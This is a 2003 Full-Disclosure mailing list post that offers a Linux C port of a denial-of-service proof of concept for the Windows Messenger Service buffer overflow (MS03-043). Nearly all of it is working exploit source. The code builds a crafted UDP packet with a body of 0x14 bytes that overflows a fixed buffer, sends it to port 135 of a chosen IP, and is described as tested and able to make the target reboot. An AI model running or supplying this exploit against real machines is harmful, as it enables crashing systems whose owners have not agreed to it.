[Full-Disclosure] Linux Ported Version of MS03-043 DOS

[VeNoMouS]

Here you go guys or get it via www.gen-x.co.nz/ms03-043.c   <<<<<<<<<<<<<<<<<< SNIP >>>>>>>>>>>>>>>>>>>>>>>> /* Mon Oct 20 14:26:55 NZDT 2003   Re-written By VeNoMouS to be ported to linux, and tidy it up a little. This was only like a 5 minute port but it works and has been tested. [EMAIL PROTECTED]   greets to str0ke and defy   DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard. Launching it one or two times against the target should make the machine reboot. Tested against a Win2K SP4.   "The vulnerability results because the Messenger Service does not properly validate the length of a message before passing it to the allocated buffer" according to MS bulletin. Digging into it a bit more, we find that when   a character 0x14 in encountered in the 'body' part of the message, it is replaced by a CR+LF. The buffer allocated for this operation is twice the size of the string, which is the way to go, but is then copied to a buffer which was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks   and overflow the fixed size buffer.   Credits go to LSD :)   */   #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h>   #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h>           // Packet format found thanks to a bit a sniffing static unsigned char packet_header[] = "\x04\x00\x28\x00" "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0" "\x4f\xb6\xe6\xfc" "\xff\xff\xff\xff" // @40 : unique id over 16 bytes ? "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\xff\xff\xff\xff" "\xff\xff\xff\xff" // @74 : fields length "\x00\x00";   unsigned char field_header[] = "\xff\xff\xff\xff" // @0 : field length "\x00\x00\x00\x00" "\xff\xff\xff\xff"; // @8 : field length   int usage(char *name) {  printf("Proof of Concept for Windows Messenger Service Overflow..\n");  printf("- Originally By Hanabishi Recca - [EMAIL PROTECTED]");  printf("- Ported to linux by VeNoMouS..\n");  printf("- [EMAIL PROTECTED]");    printf("example : %s -d yourputtersux -i 10.33.10.4 -s n0nlameputer\n",name);  printf("\n-d <dest netbios name>\t-i <dest netbios ip>\n");  printf("-s <src netbios name>\n");  return 1; }   int main(int argc,char *argv[]) {         int i, packet_size, fields_size, s;         unsigned char packet[8192];         struct sockaddr_in addr;   char from[57],machine[57],c;         char body[4096] = "*** MESSAGE ***";       if(argc <= 2)   {   usage(argv[0]);   exit(0);   }       while ((c = getopt (argc, argv, "d:i:s:h")) != EOF)   switch(c)    {    case 'd':       strncpy(machine,optarg,sizeof(machine));          printf("Machine is %s\n",machine);       break;    case 'i':             memset(&addr, 0,sizeof(addr));             addr.sin_family = AF_INET;             addr.sin_addr.s_addr = inet_addr(optarg);             addr.sin_port = htons(135);       break;    case 's':             strncpy(from,optarg,sizeof(from));       break;      case 'h':       usage(argv[0]);       exit(0);       break;    }                // A few conditions :         // 0 <= strlen(from) + strlen(machine) <= 56         // max fields size 3992     if(!addr.sin_addr.s_addr) { printf("Ummm MOFO we need a dest IP...\n"); exit(0); }           if(!strlen(machine)) { printf("Ummmm we also need the dest netbios name bro...\n"); exit(0); }     if(!strlen(from)) strcpy(from,"tolazytotype");           memset(packet,0, sizeof(packet));         packet_size = 0;           memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);         packet_size += sizeof(packet_header) - 1;           i = strlen(from) + 1;         *(unsigned int *)(&field_header[0]) = i;         *(unsigned int *)(&field_header[8]) = i;         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);         packet_size += sizeof(field_header) - 1;         strcpy(&packet[packet_size], from);         packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4           i = strlen(machine) + 1;         *(unsigned int *)(&field_header[0]) = i;         *(unsigned int *)(&field_header[8]) = i;         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);         packet_size += sizeof(field_header) - 1;         strcpy(&packet[packet_size], machine);         packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4           fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));         memset(body, 0x14, sizeof(body));         body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';           i = strlen(body) + 1;         *(unsigned int *)(&field_header[0]) = i;         *(unsigned int *)(&field_header[8]) = i;         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);         packet_size += sizeof(field_header) - 1;         strcpy(&packet[packet_size], body);         packet_size += i;           fields_size = packet_size - (sizeof(packet_header) - 1);         *(unsigned int *)(&packet[40]) = time(NULL);         *(unsigned int *)(&packet[74]) = fields_size;           fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body),packet_size, fields_size);    if ((s = socket (AF_INET, SOCK_DGRAM, 0)) == -1 )   {    perror("Error socket() - ");    exit(0);   }           if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1)   {    perror("Error sendto() - ");    exit(0);   }           exit(0); }